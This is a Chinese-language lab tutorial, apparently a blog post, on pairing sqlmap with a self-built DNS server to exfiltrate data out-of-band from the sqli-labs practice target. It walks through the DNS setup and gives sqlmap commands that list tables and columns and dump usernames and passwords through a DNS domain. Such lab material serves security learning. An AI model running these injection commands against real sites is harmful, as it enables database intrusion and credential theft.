当前位置:网站首页>sqlmap结合dnslog快速注入
sqlmap结合dnslog快速注入
2022-08-10 23:35:00 【抱小猫】
如何使用sqlmap结合dnslog快速注入呢
首先我们需要三台虚拟机,一台Windows10作为客户端,Windows server2008作为服务器,还有一台kali。
第一步:先在Windows10上下载phpstudy小皮面板,然后后下载sqli-labs靶场,并将sqli-labs靶场文件放入WWW目录下

第二步:修改数据库配置文件,将数据库的my.ini中添加secure_file_priv="",方便后面读取文件

第三步:在Windows server 2008上搭建DNS服务器
单击角色-->添加角色-->点击服务器角色-->选中DNS服务器-->下一步-->安装

右键查看WIN-JGVPSZCQ80R的属性-->监视-->勾上两个测试类型-->确定

新建区域:右键点击新建-->下一步-->自定义一个区域名称-->下一步-->完成

新建主机ns1.ceshi.top,这样填上kali虚拟机的IP地址

再创建一个泛解析:

第四步:在Windows10上配置DNS服务器的IP

第五步:使用Windows10pingDNS中创建的域名,并在kali中查看


第六步:在Windows server2008中创建转发器

使用Windows10ping转发器的域名,并在kali中查看

第七步:sqlmap使用DNSlog外带注入

我们使用sqlmap找到数据库中的表名
sqlmap -u "http://192.168.112.139/sqli/sql/Less-8?id=1" --technique=T --dns-domain "hello.top" -D security --tables
根据users表名找表中的列
sqlmap -u "http://192.168.112.139/sqli/sql/Less-8?id=1" --technique=T --dns-domain "hello.top" -D "security" -t "users" --columns取出users表中的数据
sqlmap -u "http://192.168.112.139/sqli/sql/Less-8?id=1" --technique=T --dns-domain "hello.top" -D "security" -t "users" -C "username,password" --dump边栏推荐
猜你喜欢
随机推荐
定时器,同步API和异步API,文件系统模块,文件流
mysql数据库高级操作
电脑桌面删除的文件回收站没有,电脑上桌面删除文件在回收站找不到怎么办
【C语言】初识指针
Tencent Cloud Lightweight Application Server Configuration and Website Building Tutorial
GoldenGate中使用 exp/imp 进行初始化
ACTF 2022 writeup
Rust从入门到精通05-语句和表达式
HPb59-1铅黄铜
windows10安装PostgreSQL14避坑分享
Pengcheng Cup 2022 web/misc writeup
DASCTF X SU 2022 writeup
缓存知识总结
Blue Hat Cup 2022 web/misc writeup
北京党建展馆vr全景制作优点有哪些
多语种翻译-多语种翻译软件免费
高精度乘法
闭包详解,柯里化的含义及操作方法
产品web3d效果动态展示更生动形象
HGAME 2022 Week4 writeup
![[C language articles] Expression evaluation (implicit type conversion, arithmetic conversion)](/img/ae/74dc5fc676e74ab03607565ca7539e.png)








